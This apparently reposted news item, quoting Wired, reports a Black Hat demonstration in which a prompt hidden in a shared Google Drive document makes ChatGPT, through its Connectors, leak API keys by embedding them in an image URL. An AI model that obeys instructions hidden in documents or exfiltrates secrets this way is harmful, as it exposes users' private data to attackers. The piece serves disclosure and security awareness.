Security researchers revealed a vulnerability in OpenAI’s ChatGPT Connectors that allowed attackers to extract sensitive data from linked services like Google Drive using a method called indirect prompt injection, according to Wired. At the Black Hat conference, researchers demonstrated how a malicious prompt hidden in a shared document could trick ChatGPT into leaking API keys by embedding them in an image URL. The zero-click attack shows the growing security risks of connecting AI models to external data sources. OpenAI has since implemented mitigations. They write:
The latest generative AI models are not just stand-alone text-generating chatbots—instead, they can easily be hooked up to your data to give personalized answers to your questions. OpenAI’s ChatGPT can be linked to your Gmail inbox, allowed to inspect your GitHub code, or find appointments in your Microsoft calendar. But these connections have the potential to be abused—and researchers have shown it can take just a single “poisoned” document to do so.
New findings from security researchers Michael Bargury and Tamir Ishay Sharbat, revealed at the Black Hat hacker conference in Las Vegas today, show how a weakness in OpenAI’s Connectors allowed sensitive information to be extracted from a Google Drive account using an indirect prompt injection attack. In a demonstration of the attack, dubbed AgentFlayer, Bargury shows how it was possible to extract developer secrets, in the form of API keys, that were stored in a demonstration Drive account. […]
Bargury says that hooking up LLMs to external data sources means they will be more capable and increase their utility, but that comes with challenges. “It’s incredibly powerful, but as usual with AI, more power comes with more risk,” Bargury says.
Read more here.
